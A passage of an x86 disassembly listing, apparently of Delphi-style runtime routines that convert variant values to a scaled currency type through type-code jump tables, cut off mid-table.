fstp [esp+18h+var_18]
wait
loc_40010E01: ; CODE XREF: sub_40010ABC+79j
; sub_40010ABC+9Dj ...
fld [esp+18h+var_18]
add esp, 14h
pop ebx
retn
sub_40010ABC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40010E0C proc near ; CODE XREF: sub_40011024+FAp
; sub_40011024+1E1p ...
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
xor edx, edx
mov [ebp+var_14], edx
mov [ebp+var_4], edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_40010EB8
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_4]
call sub_40011DFC
lea eax, [ebp+var_10]
push eax
push 0
push 400h
mov eax, [ebp+var_4]
push eax
mov eax, off_4001B0A0
mov eax, [eax]
call eax
mov edx, eax
sub edx, 80020005h
jz short loc_40010E61
sub edx, 7FFDFFFBh
jnz short loc_40010E8E
jmp short loc_40010E9A
; ---------------------------------------------------------------------------
loc_40010E61: ; CODE XREF: sub_40010E0C+49j
lea eax, [ebp+var_14]
mov edx, [ebp+var_4]
call sub_40004B0C
mov eax, [ebp+var_14]
lea edx, [ebp+var_10]
call sub_40008EE8
test al, al
jnz short loc_40010E9A
movzx edx, word ptr [ebx]
mov cx, 6
mov eax, 80020005h
call sub_4000E034
jmp short loc_40010E9A
; ---------------------------------------------------------------------------
loc_40010E8E: ; CODE XREF: sub_40010E0C+51j
movzx edx, word ptr [ebx]
mov cx, 6
call sub_4000E034
loc_40010E9A: ; CODE XREF: sub_40010E0C+53j
; sub_40010E0C+6Dj ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40010EBF
loc_40010EA7: ; CODE XREF: sub_40010E0C+B1j
lea eax, [ebp+var_14]
call sub_40004884
lea eax, [ebp+var_4]
call sub_40005008
retn
; ---------------------------------------------------------------------------
loc_40010EB8: ; DATA XREF: sub_40010E0C+14o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40010EA7
; ---------------------------------------------------------------------------
loc_40010EBF: ; CODE XREF: sub_40010E0C+ABj
; DATA XREF: sub_40010E0C+96o
fild [ebp+var_10]
pop ebx
mov esp, ebp
pop ebp
retn
sub_40010E0C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40010EC8 proc near ; CODE XREF: sub_40011024+1A0p
; sub_40011024+37Ep
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push ebx
mov ebx, eax
lea eax, [ebp+var_18]
push eax
call sub_4000CDD8
mov [ebp+var_18], 5
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
push 6
push 0
push 400h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_18]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov cx, 6
call sub_4000E034
mov eax, [ebp+var_10]
mov dword ptr [ebp+var_8], eax
mov eax, [ebp+var_C]
mov dword ptr [ebp+var_8+4], eax
fild [ebp+var_8]
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_40010EC8 endp
; =============== S U B R O U T I N E =======================================
sub_40010F28 proc near ; CODE XREF: sub_40011024+C8p
; sub_40011024+EAp ...
var_1C = qword ptr -1Ch
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
push ebx
add esp, 0FFFFFFE8h
mov ebx, eax
lea eax, [esp+1Ch+var_14]
push eax
call sub_4000CDD8
push 6
push 0
push 400h
push ebx
lea eax, [esp+2Ch+var_14]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov cx, 6
call sub_4000E034
mov eax, [esp+1Ch+var_C]
mov dword ptr [esp+1Ch+var_1C], eax
mov eax, [esp+1Ch+var_8]
mov dword ptr [esp+1Ch+var_1C+4], eax
fild [esp+1Ch+var_1C]
add esp, 18h
pop ebx
retn
sub_40010F28 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40010F74 proc near ; CODE XREF: sub_40011024+1F1p
var_18 = byte ptr -18h
var_8 = qword ptr -8
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push ebx
mov ebx, eax
lea eax, [ebp+var_18]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_40010FC9
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_18]
call sub_4000E700
lea eax, [ebp+var_18]
call ds:off_4001F29C
lea eax, [ebp+var_18]
call sub_40011024
fistp [ebp+var_8]
wait
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40010FD0
loc_40010FC0: ; CODE XREF: sub_40010F74+5Aj
lea eax, [ebp+var_18]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_40010FC9: ; DATA XREF: sub_40010F74+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40010FC0
; ---------------------------------------------------------------------------
loc_40010FD0: ; CODE XREF: sub_40010F74+54j
; DATA XREF: sub_40010F74+47o
fild [ebp+var_8]
pop ebx
mov esp, ebp
pop ebp
retn
sub_40010F74 endp
; =============== S U B R O U T I N E =======================================
sub_40010FD8 proc near ; CODE XREF: sub_40011024+3A8p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
push ebx
push esi
push edi
add esp, 0FFFFFFECh
mov edi, edx
mov esi, eax
mov edx, esp
movzx eax, word ptr [esi]
call sub_40012D98
mov ebx, eax
test bl, bl
jz short loc_4001101A
lea eax, [esp+20h+var_1C]
push eax
call sub_4000CDD8
push 6
mov ecx, esi
lea edx, [esp+24h+var_1C]
mov eax, [esp+24h+var_20]
mov esi, [eax]
call dword ptr [esi+1Ch]
mov eax, [esp+20h+var_14]
mov [edi], eax
mov eax, [esp+20h+var_10]
mov [edi+4], eax
loc_4001101A: ; CODE XREF: sub_40010FD8+18j
mov eax, ebx
add esp, 14h
pop edi
pop esi
pop ebx
retn
sub_40010FD8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40011024 proc near ; CODE XREF: sub_4000E9CC+130p
; sub_40010F74+36p ...
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = qword ptr -0Ch
push ebx
add esp, 0FFFFFFECh
mov ebx, eax
movzx eax, word ptr [ebx]
movzx edx, ax
cmp edx, 14h ; switch 21 cases
ja loc_400111F3 ; default
; jumptable 40011039 cases 10,14,15
jmp ds:off_40011040[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_40011040 dd offset loc_40011094 ; DATA XREF: sub_40011024+15r
dd offset loc_400110A2 ; jump table for switch statement
dd offset loc_400110C6
dd offset loc_400110D8
dd offset loc_400110EA
dd offset loc_400110EA
dd offset loc_400110FA
dd offset loc_4001110C
dd offset loc_4001111C
dd offset loc_400111E3
dd offset loc_400111F3
dd offset loc_4001112C
dd offset loc_400111D2
dd offset loc_400111E3
dd offset loc_400111F3
dd offset loc_400111F3
dd offset loc_40011147
dd offset loc_40011162
dd offset loc_4001117D
dd offset loc_40011198
dd offset loc_400111B8
; ---------------------------------------------------------------------------
loc_40011094: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
xor eax, eax ; jumptable 40011039 case 0
mov dword ptr [esp+18h+var_18], eax
mov dword ptr [esp+18h+var_18+4], eax
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400110A2: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
cmp byte_4001AA10, 0 ; jumptable 40011039 case 1
jz short loc_400110B8
mov dx, 6
mov ax, 1
call sub_4000DBF4
loc_400110B8: ; CODE XREF: sub_40011024+85j
xor eax, eax
mov dword ptr [esp+18h+var_18], eax
mov dword ptr [esp+18h+var_18+4], eax
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400110C6: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
fild word ptr [ebx+8] ; jumptable 40011039 case 2
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400110D8: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
fild dword ptr [ebx+8] ; jumptable 40011039 case 3
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400110EA: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
mov eax, ebx ; jumptable 40011039 cases 4,5
call sub_40010F28
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400110FA: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
mov eax, [ebx+8] ; jumptable 40011039 case 6
mov dword ptr [esp+18h+var_18], eax
mov eax, [ebx+0Ch]
mov dword ptr [esp+18h+var_18+4], eax
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_4001110C: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
mov eax, ebx ; jumptable 40011039 case 7
call sub_40010F28
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_4001111C: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
mov eax, ebx ; jumptable 40011039 case 8
call sub_40010E0C
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_4001112C: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
movsx eax, word ptr [ebx+8] ; jumptable 40011039 case 11
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_40011147: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
movsx eax, byte ptr [ebx+8] ; jumptable 40011039 case 16
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_40011162: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
movzx eax, byte ptr [ebx+8] ; jumptable 40011039 case 17
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_4001117D: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
movzx eax, word ptr [ebx+8] ; jumptable 40011039 case 18
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_40011198: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
mov eax, [ebx+8] ; jumptable 40011039 case 19
mov dword ptr [esp+18h+var_C], eax
xor eax, eax
mov dword ptr [esp+18h+var_C+4], eax
fild [esp+18h+var_C]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400111B8: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
fild qword ptr [ebx+8] ; jumptable 40011039 case 20
add esp, 0FFFFFFF8h
fstp [esp+20h+var_20]
wait
mov eax, ebx
call sub_40010EC8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400111D2: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
mov eax, [ebx+8] ; jumptable 40011039 case 12
call sub_40011024
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400111E3: ; CODE XREF: sub_40011024+15j
; DATA XREF: sub_40011024:off_40011040o
mov eax, ebx ; jumptable 40011039 cases 9,13
call sub_40010F28
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400111F3: ; CODE XREF: sub_40011024+Fj
; sub_40011024+15j
; DATA XREF: ...
mov edx, eax ; default
; jumptable 40011039 cases 10,14,15
sub dx, 100h
jz short loc_40011203
dec dx
jz short loc_40011213
jmp short loc_40011223
; ---------------------------------------------------------------------------
loc_40011203: ; CODE XREF: sub_40011024+1D6j
mov eax, ebx
call sub_40010E0C
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_40011213: ; CODE XREF: sub_40011024+1DBj
mov eax, ebx
call sub_40010F74
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_40011223: ; CODE XREF: sub_40011024+1DDj
test ah, 40h
jz loc_400113C8
movzx eax, ax
and eax, 0FFFFBFFFh
cmp eax, 14h ; switch 21 cases
ja loc_400113BB ; default
; jumptable 4001123D cases 0,1,9,10,13-15
jmp ds:off_40011244[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_40011244 dd offset loc_400113BB ; DATA XREF: sub_40011024+219r
dd offset loc_400113BB ; jump table for switch statement
dd offset loc_40011298
dd offset loc_400112AC
dd offset loc_400112C0
dd offset loc_400112C0
dd offset loc_400112D0
dd offset loc_400112E4
dd offset loc_400112F4
dd offset loc_400113BB
dd offset loc_400113BB
dd offset loc_40011304
dd offset loc_400113AD
dd offset loc_400113BB
dd offset loc_400113BB
dd offset loc_400113BB
dd offset loc_40011321
dd offset loc_4001133E
dd offset loc_4001135B
dd offset loc_40011375
dd offset loc_40011394
; ---------------------------------------------------------------------------
loc_40011298: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, [ebx+8] ; jumptable 4001123D case 2
fild word ptr [eax]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400112AC: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, [ebx+8] ; jumptable 4001123D case 3
fild dword ptr [eax]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400112C0: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, ebx ; jumptable 4001123D cases 4,5
call sub_40010F28
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400112D0: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, [ebx+8] ; jumptable 4001123D case 6
mov edx, [eax]
mov dword ptr [esp+18h+var_18], edx
mov edx, [eax+4]
mov dword ptr [esp+18h+var_18+4], edx
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400112E4: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, ebx ; jumptable 4001123D case 7
call sub_40010F28
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_400112F4: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, ebx ; jumptable 4001123D case 8
call sub_40010E0C
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_40011304: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, [ebx+8] ; jumptable 4001123D case 11
movsx eax, word ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_40011321: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, [ebx+8] ; jumptable 4001123D case 16
movsx eax, byte ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_4001133E: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, [ebx+8] ; jumptable 4001123D case 17
movzx eax, byte ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp loc_400113E0
; ---------------------------------------------------------------------------
loc_4001135B: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, [ebx+8] ; jumptable 4001123D case 18
movzx eax, word ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp short loc_400113E0
; ---------------------------------------------------------------------------
loc_40011375: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, [ebx+8] ; jumptable 4001123D case 19
mov eax, [eax]
mov dword ptr [esp+18h+var_C], eax
xor eax, eax
mov dword ptr [esp+18h+var_C+4], eax
fild [esp+18h+var_C]
fmul ds:flt_400113E8
fistp [esp+18h+var_18]
wait
jmp short loc_400113E0
; ---------------------------------------------------------------------------
loc_40011394: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, [ebx+8] ; jumptable 4001123D case 20
fild qword ptr [eax]
add esp, 0FFFFFFF8h
fstp [esp+20h+var_20]
wait
mov eax, ebx
call sub_40010EC8
fistp [esp+18h+var_18]
wait
jmp short loc_400113E0
; ---------------------------------------------------------------------------
loc_400113AD: ; CODE XREF: sub_40011024+219j
; DATA XREF: sub_40011024:off_40011244o
mov eax, [ebx+8] ; jumptable 4001123D case 12
call sub_40011024
fistp [esp+18h+var_18]
wait
jmp short loc_400113E0
; ---------------------------------------------------------------------------
loc_400113BB: ; CODE XREF: sub_40011024+213j
; sub_40011024+219j
; DATA XREF: ...
mov eax, ebx ; default
; jumptable 4001123D cases 0,1,9,10,13-15
call sub_40010F28
fistp [esp+18h+var_18]
wait
jmp short loc_400113E0
; ---------------------------------------------------------------------------
loc_400113C8: ; CODE XREF: sub_40011024+202j
mov edx, esp
mov eax, ebx
call sub_40010FD8
test al, al
jnz short loc_400113E0
mov eax, ebx
call sub_40010F28
fistp [esp+18h+var_18]
wait
loc_400113E0: ; CODE XREF: sub_40011024+79j
; sub_40011024+9Dj ...
fild [esp+18h+var_18]
add esp, 14h
pop ebx
retn
sub_40011024 endp
; ---------------------------------------------------------------------------
flt_400113E8 dd 1.0e4 ; DATA XREF: sub_40011024+A5r
; sub_40011024+B7r ...
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400113EC proc near ; CODE XREF: sub_400116DC+142p
; sub_400116DC+3A0p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, eax
mov eax, ebx
call sub_40005008
push eax
push 0
push 400h
push [ebp+arg_4]
push [ebp+arg_0]
mov eax, off_4001AF04
mov eax, [eax]
call eax
mov cx, 8
mov dx, 6
call sub_4000E034
pop ebx
pop ebp
retn 8
sub_400113EC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40011424 proc near ; CODE XREF: sub_400116DC+15Fp
; sub_400116DC+3BFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, eax
mov eax, ebx
call sub_40005008
push eax
push 0
push 400h
push [ebp+arg_4]
push [ebp+arg_0]
mov eax, off_4001AFC8
mov eax, [eax]
call eax
mov cx, 8
mov dx, 7
call sub_4000E034
pop ebx
pop ebp
retn 8
sub_40011424 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4001145C proc near ; CODE XREF: sub_400116DC+19Fp
; sub_400116DC+3EDp ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push offset loc_40011514
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, ebx
call sub_40005008
push eax
push 0
push 400h
push esi
mov eax, off_4001B058
mov eax, [eax]
call eax
mov cx, 8
mov dx, 0Bh
call sub_4000E034
movzx eax, byte_4001AA18
sub al, 1
jb short loc_400114F9
jz short loc_400114B2
dec al
jz short loc_400114D3
jmp short loc_400114F4
; ---------------------------------------------------------------------------
loc_400114B2: ; CODE XREF: sub_4001145C+4Ej
lea eax, [ebp+var_8]
mov edx, [ebx]
call sub_40004B0C
mov eax, [ebp+var_8]
lea edx, [ebp+var_4]
call sub_40007A58
mov edx, [ebp+var_4]
mov eax, ebx
call sub_40005158
jmp short loc_400114F9
; ---------------------------------------------------------------------------
loc_400114D3: ; CODE XREF: sub_4001145C+52j
lea eax, [ebp+var_10]
mov edx, [ebx]
call sub_40004B0C
mov eax, [ebp+var_10]
lea edx, [ebp+var_C]
call sub_400079BC
mov edx, [ebp+var_C]
mov eax, ebx
call sub_40005158
jmp short loc_400114F9
; ---------------------------------------------------------------------------
loc_400114F4: ; CODE XREF: sub_4001145C+54j
call sub_4000DC90
loc_400114F9: ; CODE XREF: sub_4001145C+4Cj
; sub_4001145C+75j ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4001151B
loc_40011506: ; CODE XREF: sub_4001145C+BDj
lea eax, [ebp+var_10]
mov edx, 4
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_40011514: ; DATA XREF: sub_4001145C+12o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40011506
; ---------------------------------------------------------------------------
loc_4001151B: ; CODE XREF: sub_4001145C+B7j
; DATA XREF: sub_4001145C+A5o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4001145C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40011524 proc near ; CODE XREF: sub_400116DC+255p
; sub_400116DC+4A4p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push ebx
push esi
xor ecx, ecx
mov [ebp+var_14], ecx
mov [ebp+var_18], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_400115E3
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_10]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_400115C1
push dword ptr fs:[eax]
mov fs:[eax], esp
push 8
push 0
push 400h
push ebx
lea eax, [ebp+var_10]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov cx, 100h
call sub_4000E034
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
mov edx, [ebp+var_8]
call sub_4000511C
mov eax, [ebp+var_18]
mov ecx, 7FFFFFFFh
mov edx, 1
call sub_40005174
mov edx, [ebp+var_14]
mov eax, esi
call sub_40004B0C
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400115C8
loc_400115B8: ; CODE XREF: sub_40011524+A2j
lea eax, [ebp+var_10]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_400115C1: ; DATA XREF: sub_40011524+2Eo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400115B8
; ---------------------------------------------------------------------------
loc_400115C8: ; CODE XREF: sub_40011524+9Cj
; DATA XREF: sub_40011524+8Fo
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400115EA
loc_400115D5: ; CODE XREF: sub_40011524+C4j
lea eax, [ebp+var_18]
mov edx, 2
call sub_40005020
retn
; ---------------------------------------------------------------------------
loc_400115E3: ; DATA XREF: sub_40011524+17o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400115D5
; ---------------------------------------------------------------------------
loc_400115EA: ; CODE XREF: sub_40011524+BEj
; DATA XREF: sub_40011524+ACo
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40011524 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400115F0 proc near ; CODE XREF: sub_400116DC+28Dp
var_10 = byte ptr -10h
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
push esi
mov esi, edx
mov ebx, eax
lea eax, [ebp+var_10]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_40011646
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_10]
call sub_4000E700
lea eax, [ebp+var_10]
call ds:off_4001F29C
lea edx, [ebp+var_10]
mov eax, esi
call sub_400116DC
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4001164D
loc_4001163D: ; CODE XREF: sub_400115F0+5Bj
lea eax, [ebp+var_10]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_40011646: ; DATA XREF: sub_400115F0+18o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001163D
; ---------------------------------------------------------------------------
loc_4001164D: ; CODE XREF: sub_400115F0+55j
; DATA XREF: sub_400115F0+48o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_400115F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40011654 proc near ; CODE XREF: sub_400116DC+4C0p
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFE4h
push ebx
mov [ebp+var_4], edx
mov ebx, eax
mov eax, [ebp+var_4]
test eax, eax
jz short loc_4001166B
xor edx, edx
mov [eax], edx
loc_4001166B: ; CODE XREF: sub_40011654+11j
lea edx, [ebp+var_C]
movzx eax, word ptr [ebx]
call sub_40012D98
mov [ebp+var_5], al
cmp [ebp+var_5], 0
jz short loc_400116D0
lea eax, [ebp+var_1C]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_400116C9
push dword ptr fs:[eax]
mov fs:[eax], esp
push 100h
mov ecx, ebx
lea edx, [ebp+var_1C]
mov eax, [ebp+var_C]
mov ebx, [eax]
call dword ptr [ebx+1Ch]
mov eax, [ebp+var_4]
mov edx, [ebp+var_14]
call sub_400048D8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400116D0
loc_400116C0: ; CODE XREF: sub_40011654+7Aj
lea eax, [ebp+var_1C]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_400116C9: ; DATA XREF: sub_40011654+37o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400116C0
; ---------------------------------------------------------------------------
loc_400116D0: ; CODE XREF: sub_40011654+29j
; sub_40011654+74j
; DATA XREF: ...
movzx eax, [ebp+var_5]
pop ebx
mov esp, ebp
pop ebp
retn
sub_40011654 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400116DC proc near ; CODE XREF: sub_4000E7FC+19p
; sub_400115F0+3Bp ...
var_94 = tbyte ptr -94h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov ecx, 0Eh
loc_400116E4: ; CODE XREF: sub_400116DC+Dj
push 0
push 0
dec ecx
jnz short loc_400116E4
push ecx
push ebx
push esi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push offset loc_40011C08
push dword ptr fs:[eax]
mov fs:[eax], esp
movzx eax, word ptr [ebx]
movzx edx, ax
cmp edx, 14h ; switch 21 cases
ja loc_40011945 ; default
; jumptable 4001170F cases 10,14,15
jmp ds:off_40011716[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_40011716 dd offset loc_4001176A ; DATA XREF: sub_400116DC+33r
dd offset loc_40011776 ; jump table for switch statement
dd offset loc_4001179E
dd offset loc_400117B9
dd offset loc_400117D3
dd offset loc_400117F4
dd offset loc_40011815
dd offset loc_40011832
dd offset loc_4001184F
dd offset loc_4001192C
dd offset loc_40011945
dd offset loc_40011874
dd offset loc_4001191B
dd offset loc_4001192C
